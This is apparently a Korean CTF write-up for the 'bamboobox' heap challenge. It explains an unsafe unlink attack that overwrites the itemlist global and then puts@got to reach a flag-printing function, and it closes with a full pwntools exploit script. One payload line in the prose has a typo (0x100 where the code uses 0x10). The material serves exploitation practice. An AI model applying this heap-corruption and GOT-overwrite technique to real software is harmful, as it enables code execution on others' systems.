# Protection Tech
# process
Flag 출력해주는 magic 함수로 이동하는 것이 목표
초기 heap 상태.
0x20 사이즈의 청크로 데이터 영역에 hello_message와 goodbye_message에 대한 주소가 담겨있다.
bss 영역에는 itemlist라는 전역변수가 있는데, heap을 추가할 때마다 itemlist에 해당 주소를 저장한다.
따라서 여기에 heap 주소가 아닌 got 주소로 바꿀 수 있다.
1) 3개의 heap 할당
2) 2번째 청크에 fake chunk 생성
- unsafe unlink
- fd에 공격대상주소-0x18, bk에 공격대상주소 - 0x10을 넣는다.
- 3번 청크에 prev_size는 fake chunk 크기(헤더 포함이므로 0x20), size는 prev_use 비트를 제거해 0x90으로 바꾼다.
- change 함수에서 2번 청크의 데이터를 수정해 payload 전달
- 공격대상주소 : itemlist + 0x18 (2번 청크 주소)
payload = p64(0) + p64(0) + p64(itemlist+0x18 - 0x18) + p64(itemlist + 0x18 - 0x100
+ p64(0x20) + p64(0x90)
3) 3번 청크 제거
- Itemlist[1](2번째 청크 주소 저장하는 bss)가 itemlist로 바뀐다.
4) 2번 청크 edit
- 그럼 2번 청크 데이터 값 수정 시 0x6020c0 주소 영역의 값을 수정하게 되는 것이다.
- 1번 청크의 주소를 puts@got로 바꾸고 싶은 것이므로 8바이트의 더미를 준 후 puts@got를 데이터로 준다.
- Itemlist 첫 번째 주소를 puts got로 바꾸면 1번째 청크 edit 시 puts got에 값을 넣을 수 있게 된다.
5) 1번 청크 edit
- 1번 청크 데이터 값 edit 시 0x602020의 영역이 실질적으로 수정되므로 이때 magic 주소를 주면 puts@got가 magic으로 덮힌다.
puts@got에 magic 주소가 덮힌 것 확인 가능하다.
이제 puts 함수가 호출될 때 magic이 실행되어서 flag가 출력될 수 있다.
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = process("./bamboobox")
#gdb.attach(p)
elf = ELF("./bamboobox")
puts_got = elf.got['puts']
magic = 0x400d49
itemlist = 0x6020c0
def show():
p.sendlineafter("Your choice:", '1')
def add(length, name):
p.sendlineafter("Your choice:", '2')
p.sendlineafter("length of item name:", str(length))
p.sendlineafter("Please enter the name of item:", name)
def change(index, length, name):
p.sendlineafter("Your choice:", '3')
p.sendlineafter("index of item:", str(index))
p.sendlineafter("length of item name:", str(length))
p.sendafter("name of the item:", name)
def remove(index):
p.sendlineafter("Your choice:", '4')
p.sendlineafter("index of item:", str(index))
add(0x20, 'AAAA')
add(0x20, 'BBBB')
add(0x80, 'CCCC')
gdb.attach(p)
# itemlist[1]-0x18, itemlist[1]-0x10
pay = p64(0) + p64(0) + p64(itemlist+0x18-0x18) + p64(itemlist+0x18-0x10)
pay += p64(0x20) + p64(0x90) # itemlist[2] prevsize, size
change(1, len(pay), pay)
remove(2)
change(1, 0x10, 'a'*8 + p64(puts_got))
change(0, 0x8, p64(magic))
p.interactive()
[33c3 CTF] babyfengshui (Heap Feng Shui) (0) | 2020.02.28 |
---|---|
baby_heap_1 (unsorted bin attack) (0) | 2020.02.28 |
[Codegate 2018] Super Marimo (0) | 2020.02.09 |
[picoCTF 2018] echo back (0) | 2020.02.07 |
[picoCTF 2018] authenticate (0) | 2020.01.31 |